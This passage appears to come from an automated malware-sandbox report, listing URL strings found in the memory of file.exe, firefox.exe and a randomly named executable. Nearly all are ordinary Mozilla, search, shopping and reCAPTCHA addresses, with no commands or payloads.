Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-user-removal
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001A.00000002.2872155375.0000014D5DB8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001A.00000002.2845609380.0000014D56A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D54819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2832616039.0000014D56273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: file.exe, 00000000.00000003.2214021431.00000000054FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862971037.0000014D5D573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 0000001A.00000002.2831679703.0000014D55F8E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: file.exe, 00000000.00000003.2214021431.00000000054FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001A.00000002.2826854859.0000014D55646000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862971037.0000014D5D573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847223254.0000014D57003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847223254.0000014D57003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847223254.0000014D57003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847223254.0000014D57003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D548F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D548BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2836217561.0000014D56517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2819191173.0000014D54B3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2864357151.0000014D5D662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52120000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2819191173.0000014D54B4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001A.00000002.2864874573.0000014D5D703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2756220864.0000014D55964000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001A.00000003.2756220864.0000014D55964000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/bound
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 0000001A.00000003.2756220864.0000014D55964000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 0000001A.00000003.2756220864.0000014D55964000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/PWMGR_BLOCKLIST_NUM_SITESPWMGR_NUM_SAVED_PASSWORDSoptInToExperiment/recipe
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2836217561.0000014D56517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2819191173.0000014D54B3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2864357151.0000014D5D662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: file.exe, 00000000.00000003.2226516704.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2803840467.0000014D505AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: firefox.exe, 0000001A.00000002.2872155375.0000014D5DB8C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683064327.0000014D54C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683904981.0000014D54E31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51345000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52144000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2826854859.0000014D55605000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2845915505.0000014D56D8B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812517048.0000014D528A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D55987000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2684378399.0000014D54E52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683434006.0000014D54E0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2841860100.0000014D56984000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: file.exe, 00000000.00000003.2172085778.0000000000B6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: file.exe, 00000000.00000003.2172112855.0000000000B67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/a
Source: file.exe, 00000000.00000003.2172085778.0000000000B6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: file.exe, 00000000.00000003.2185040238.0000000005406000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185198560.00000000053EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52120000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2867485052.0000014D5DAD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001A.00000003.2754455081.0000014D575B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2850461327.0000014D575B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 0000001A.00000003.2756220864.0000014D55964000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2867485052.0000014D5DAB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2747474008.0000014D5D792000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001A.00000003.2683064327.0000014D54C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683904981.0000014D54E31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812517048.0000014D528A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2684378399.0000014D54E52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683434006.0000014D54E0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2864357151.0000014D5D662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: firefox.exe, 0000001A.00000003.2756220864.0000014D55964000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/searchcbe309e0-f638-4996-9dfc-ea5c19ef16e9chrome://global/content/el
Source: file.exe, 00000000.00000003.2185040238.0000000005406000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185198560.00000000053EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: firefox.exe, 0000001A.00000003.2683064327.0000014D54C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683904981.0000014D54E31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51345000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2867485052.0000014D5DAC2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52144000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2826854859.0000014D55605000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2867485052.0000014D5DA94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2845915505.0000014D56D8B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2867485052.0000014D5DAB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812517048.0000014D528A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D55987000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2684378399.0000014D54E52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2836217561.0000014D56517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683434006.0000014D54E0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2841860100.0000014D56984000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001A.00000002.2872155375.0000014D5DB8C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2867485052.0000014D5DA69000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001A.00000003.2756220864.0000014D55964000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 0000001A.00000003.2756220864.0000014D55964000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/main/nimbus-desktop-experimentsbrowsing-context-discardedhttps://www.wikipe
Source: file.exe, 00000000.00000003.2213864318.000000000540D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: firefox.exe, 0000001A.00000002.2806034129.0000014D512FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2826096429.0000014D55473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2795971975.0000001237D7C000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52144000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55744000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.2867485052.0000014D5DAB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2801575464.0000014D44D6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2800543685.0000008B8E704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001A.00000002.2867485052.0000014D5DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: file.exe, 00000000.00000003.2214021431.00000000054FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862971037.0000014D5D573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: firefox.exe, 0000001A.00000003.2759777631.0000014D56429000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2760952156.0000014D5642A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: file.exe, 00000000.00000003.2214021431.00000000054FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862971037.0000014D5D573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: firefox.exe, 0000001A.00000002.2826854859.0000014D55646000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862971037.0000014D5D573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D55903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
